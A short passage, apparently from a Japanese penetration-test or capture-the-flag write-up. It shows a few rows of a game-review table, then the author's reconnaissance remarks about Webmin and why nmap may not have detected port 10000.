| 2 | Marvel Ultimate Alliance 3 | Switch owners will find plenty of content to chew through, particularly with friends, and while it may be the gaming equivalent to a Hulk Smash, that isnt to say that it isnt a rollicking good time. |
| 3 | SWBF2 2005 | Best game ever |
| 4 | Hitman 2 | Hitman 2 doesnt add much of note to the structure of its predecessor and thus feels more like Hitman 1.5 than a full-blown sequel. But thats not a bad thing. |

Webmin は、Linux などの Unix 系オペレーティングシステム を設定できるウェブブラウザベースのツールである。 ユーザーやディスク使用上限、サービス、設定ファイル等といった OS 内部設定の変更を多数行え、Apache や PHP、MySQL などといった多くのオープンソースのアプリケーションの変更や制御を行える (wikipedia)
怪しいですね
しかし 10000 ポートは nmap では検出されなかったのでファイアウォールで弾いてあるって感じなんですかね？
